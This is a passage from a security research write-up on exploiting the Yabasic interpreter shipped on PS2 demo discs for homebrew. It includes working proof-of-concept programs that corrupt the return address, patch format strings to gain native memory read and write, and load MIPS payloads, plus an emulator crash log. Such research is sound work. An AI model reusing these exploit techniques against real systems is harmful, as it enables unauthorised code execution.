0012d390 ld ra ,local_10 (sp )
0012d394 ld s8 ,local_20 (sp )
0012d398 ld s7 ,local_30 (sp )
0012d39c ld s6 ,local_40 (sp )
0012d3a0 ld s5 ,local_50 (sp )
0012d3a4 ld s4 ,local_60 (sp )
0012d3a8 ld s3 ,local_70 (sp )
0012d3ac ld s2 ,local_80 (sp )
0012d3b0 ld s1 ,local_90 (sp )
0012d3b4 ld s0 ,0x0 (sp )=> local_a0
0012d3b8 jr ra
```

The stack is at `0x1ffeac0` and the offset of the return address is `0x90`, so we want to write to the array from an index which will corrupt `0x1ffeac0 + 0x90`.

As calculated earlier, for a program with a single assignment the array buffer will be allocated at `0xcd7db0`, thus, to write to the return address we need offset `(0x1ffeac0 + 0x90 - 0xcd7db0) / 8 = 2510260`. Let's write the `double` value `1.288230067079646e-231` which encodes to `0x1000000041414141`:

dim x(1,1073741824)
x(0,2510260)=1.288230067079646e-231

This PoC is cool because it jumps to an invalid address, which happens to also crash the emulator PCSX2, so it's 2 PoCs for the price of 1:

(16b0.2378): Access violation - code c0000005 (!!! second chance !!!)
*** WARNING: Unable to verify checksum for C:\Program Files (x86)\PCSX2 1.4.0\pcsx2.exe
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files (x86)\PCSX2 1.4.0\pcsx2.exe -
eax=00004141 ebx=41414141 ecx=bebf0000 edx=19e1b3b8 esi=41414141 edi=00e280e0
eip=02b93016 esp=073af6f0 ebp=073af6f8 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
pcsx2!AmdPowerXpressRequestHighPerformance+0x1abfc0e:
02b93016 ff2419 jmp dword ptr [ecx+ebx] ds:002b:00004141=????????

A while back I accidentally found a [stack buffer overflow in an N64 emulator](https://twitter.com/CTurtE/status/1126615666356883456) too. It's kind of funny how video game console emulators generally have such bad security that you can easily stumble on vulnerabilities like this by accident.

### Double trouble

When I said we had arbitrary read/write of the entire address space, I wasn't entirely accurate. We can access any 8-bytes in the address space, but only as a `double`. We need to convert back and forth via IEEE 754 encoding when reading or writing memory through our `double` array to access "native" memory, just like you would do with an undersized `Float64` typed array in a JavaScript engine 0-day.

The first restriction of this is that we can't create valid `double`s with all exponent bits set. This means if we attempt to write 8-bytes of hex data starting with `0x7ff` or `0xfff`, the rest of the data will be all `0` (`inf`), or `800...` (`nan`). The following program demonstrates this by showing that 2 `double`s of full exponent encode to the same value; the output is `inf inf 1`.

print 8.991e308
print 8.992e308
print 8.991e308 = 8.992e308

A much bigger problem is that the PS2 version of Yabasic seems to round `double`s down to `0` after a certain point, the below prints `6.6e-308, 0`:

`print 6.6e-308, ", ", 6.6e-309`

In practice, one of the most likely issues encountered from not being able to encode anything with a low exponent is any 64-bit number with all upper 4-bytes `0`, such as any 32-bit pointer zero extended to 64-bit, like `0x0000000041414141`. This is why I had to use address `0x1000000041414141` for the control flow hijack PoC above, and it's something we need to address before moving on.

#### Writing native memory

Not being able to write arbitrary values is a big problem when trying to corrupt data structures, and it imposes large restrictions on the payload we can write.

At first it looks like our only solution will be patching existing code to work around this, which I really didn't want to have to resort to since it would bring up cache coherency problems which we won't be able to debug within the emulator.

However, after setting some memory breakpoints, I quickly found the Yabasic source code that parses `double`s and realized that it's a `sscanf` call, meaning that its behaviour can be influenced just by changing the data passed to argument 2:

```
case 200:
YY_RULE_SETUP
{
{ double d;
sscanf(yytext,"%lg",&d);
yylval.fnum=d;
return tFNUM;
}
}
```

With some reverse engineering, I found that in the PS2 version, `sscanf` is located at `0x146618`, the call to `sscanf` is located at `0x136fcc`, and the `%lg` string is located at `0x3e29b8`.

If we replace the `double` format specifier with a format specifier for a native number, we'll be able to directly write native memory. Let's try `%lu` (`%lx` will not work well because we'll get a syntax error if we include alpha characters in the number).

A representation of `%lu` in hex we can use is `0x4141414100756c25`, which in `double` is `2261634.0035834485`. The below PoC overwrites the `"%lg"` format used to parse `double`s, with this `"%lu"` representation:

```
dim x(1, 1073742847)

# 0x3e29b8 "%lg" -> "%lu"
x(0, 535696769) = 2261634.0035834485
```

With this patch in place, any future programs run will use the new format. Unfortunately, if we rely on this it means we need to run 2 programs for our exploit instead of having it 1-shot, since all `double` parsing happens before execution of the assignment. Yabasic does support dynamic code generation with [`compile`](http://www.yabasic.de/yabasic.htm#ref_compile) which could work, however the PS2 version doesn't support this.

#### Reading native memory

Whilst not necessary if just writing and executing a payload, it may be useful to be able to read native memory too for debugging purposes when developing the exploit.

Just like our patch for writing native memory, we'll aim to patch a format specifier instead of code itself to prevent cache coherency issues. This time we want to replace conversion of `double` to string with conversion of native number to string. In Yabasic, this conversion is done here:

```
case 'd': /* print double value */
p = pop(stNUMBER);
d = p->value;
n = (int)d;
if (n == d && d <= long_max="" &&="" d="">= LONG_MIN) {
sprintf(string, "%s%ld", (last == 'd') ? " " : "", n);
} else {
sprintf(string, "%s%g", (last == 'd') ? " " : "", d);
}
onestring(string);
break;</=>
```

As you can see, it's already converted to integer before being passed to `sprintf` in the first case, so we can't alter this behaviour by just patching data.

However, there is function `myformat` we can attack, it has a whitelist of allowed formats we can patch:

```
if (!strchr ("feEgG", c1) || form[i]) {
return FALSE;
}
/* seems okay, let's print */
sprintf (dest, format, num);
```

In the PS2 executable, this `"feEgG"` string is located at `0x3e2710`. If we patch it to `"feEgGx"` we can use format `"%0.8x"` to read native memory in hex:

```
# Run %lg -> %lu patch before this!

dim x(1,1073741824)

# 0x3e2710 "feEgG" -> "feEgGx"
x(0, 535696684) = 132248070612326.0

```

After executing the above patch, we can open another window to act as our "debugger", and print 32-bit hex values. The below PoC prints memory at `0x480000` which is an unused region I chose to write debug output to from my payloads:

dim x(1,1073741824)
print x(0, 535777310) using "%0.8x"

## Arbitrary code execution

With unrestricted arbitrary write, we can begin testing arbitrary code execution! For our first PoC, let's just write the address of the return address we corrupted to our unused memory address `0x480000`, and then return gracefully, so that we can inspect it in our "debugger" window.

To do this, we could just jump back to the original return address, `0x123428`. However, it's worth also restoring the stack pointer (`-= 0xa0`), so we can jump back to the original function epilogue at `0x12d394` and have all of the callee saved registers restored again, as this let's us use all registers freely in our payload:

.set noreorder # If we're writing assembly, why would we want this?
.globl _start
_start:
li $s0, 0x480000
sw $v0, ($s0)
.globl return
return:
li $ra, 0x123428
add $s0, $ra, (0x12d394 - 0x123428)
jr $s0
sub $sp, 0xa0

Compiling this payload:

ee-gcc payload.s -o payload.elf -nostartfiles -nostdlib
ee-objcopy -O binary payload.elf payload.bin

And then running it through [this program](https://github.com/CTurt/PS2-Yabasic-Exploit/tree/master/maker.c) to convert a payload into a Yabasic exploit, we will get the following. Note that we write and jump to our code through uncached virtual addresses to avoid cache coherency problems (EG: `0x20CD7B70` instead of `0xCD7B70`).

```
# Run %lg -> %lu patch before this!

dim x(1,1073741825)
x(0,67108864)=12538584313560563784.0
x(0,67108865)=4035001138559254546.0
x(0,67108866)=279645527673511788.0
x(0,67108867)=2575495349741289480.0

x(0,2509972)=550340272.0

```

After running this, we can switch to our "debugger" window and print the debug value. This will print `01ffeb50`, just as we expected, demonstrating that we now have a way to run arbitrary code and inspect the results!

When writing more complicated payloads, recall that on entry `$ra` holds the address we jumped to, so points to the uncached address of our payload, but also note that on entry `$a1` points to the start of the buffer, so that's the cached address of the payload. Knowing this, we can reference both code and data relative to those registers to achieve position-independent code.

## Using strings in payloads

Now that we can exploit Yabasic to run arbitrary native code, we need to write a payload which can load an ELF from a controlled source (USB, HDD, ethernet, iLink, burned disc). Whilst there's not really a hard limit on the size of the payload, preferably it should be as small as possible to prevent needing to type out too much.

As there is a large variety of interesting creative solutions for this, I won't go into them in this article, so as not to detract from the focus of this article. I will work on some of them in the background, and upload them to the repository eventually - hopefully by publishing this article I can attract some interest from the open source community to contribute here :)

However, just to provide a slightly more interesting payload to test for now, and demonstrate how to reference strings, let's try booting one of the many other demos accessible on the same disc. For PBPX-95205, we have a FIFA 2001 demo we can try booting (`cdrom0:\FIFADEMO\GAMEZ.ELF`).

To do this, we'll just invoke the `LoadExecPS2` system call (number 6), which allows you to easily specify an executable path. Remembering that we want to keep the payload as small as possible, we can violate the calling convention by leaving `argv` (`$a2`) uninitialized, since the argument count (`$a1`) is `0`, even though this is technically incorrect:

.global _start
_start:
addu $a0, $a1, 4 * 4
li $a1, 0
li $v1, 6
syscall
.asciiz "cdrom0:\\FIFADEMO\\GAMEZ.ELF"

Whilst this works, we can make an easier payload to type out by taking advantage of the fact that we can store strings in Yabasic. Create a corresponding `"boot-fifa.string"` file, and then we can reference the string data from the payload address minus `0x2e0`:

.global _start
_start:
sub $a0, $a1, 0x2e0 # Point to cached s$
li $a1, 0
li $v1, 6
syscall # LoadExecPS2

This produces the following, which is pretty quick to type out:

```
# Run %lg -> %lu patch before this!

dim x(1,1073741824)
x(0,67108864)=2595480760796642592.0
x(0,67108865)=52143783942.0

x(0,2510080)=550339408.0
s$="cdrom0:\FIFADEMO\GAMEZ.ELF"
```

## Porting to other demo discs

All analysis up until this point has been on PBPX-95205, but Sony shipped 3 other [demo discs](https://wiki.pcsx2.net/Demo_Disc) which contain Yabasic, with unique serials. PBPX-95204 has the exact same `YABASIC.ELF` as PBPX-95205, however PBPX-95506 has a different version, which I've [ported the exploit to](https://github.com/CTurt/PS2-Yabasic-Exploit/). Unfortunately, I haven't been able to find a PBPX-95520 disc on eBay so I haven't been able to port to this demo disc, but for completeness if someone reading does have a copy, please consider getting in touch.

Note that there are multiple "versions" of demo discs that have the same serial, such as a PBPX-95204 printed with the old "PS2" logo, and a PBPX-95204 with the updated disc design, but to my knowledge, all demo discs with the same serial number have the same executables on them. The PBPX-95205 is especially interesting since there is a version printed on a blue CD (looks like [this](https://i.ytimg.com/vi/il7rkXlc0wI/maxresdefault.jpg)), and a version printed on a DVD (looks like [this](https://ia800608.us.archive.org/4/items/Playstation_2_Demo_Disc_PBPX-95205_Sony/Playstation%202%20Demo%20Disc%20%28PBPX-95205%29%28Sony%29.png)).

## Conclusion

Nowadays, scripting engines for languages like JavaScript are usually the first thing attacked in modern video game consoles, so I find it odd how the PS2 release of Yabasic has received so little attention from hackers given that it was bundled with every console in PAL region for the first 3 years, and is easy to dump and analyse, especially being based on open source code. Regardless, these discs are readily available for cheap today, and so it's my hope that at least some people will benefit from having a slightly more convenient homebrew method than having to open up their consoles or purchase more expensive, unofficial hardware.

Unfortunately, NTSC regions never received a Yabasic port, however they do have a different Basic interpreter, "Basic Studio", which I might look at in the future.

Finally, maybe now that the Yabasic can be used to execute arbitrary code, Sony can argue that it really did allow the PS2 to be ["freely programmed"](https://www.casemine.com/judgement/uk/5a8ff7bb60d03e7f57eb19db) after all, and they can claim back their import taxes :P

相关文章

人已赞赏
安全工具安全教程

<p>利用战争2-服务器反击.</p>

2020-2-6 4:01:55

安全工具安全教程

RootedCON 2020 Call For Papers

2020-2-6 4:01:57

0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧
个人中心
购物车
优惠劵
今日签到
有新私信 私信列表
搜索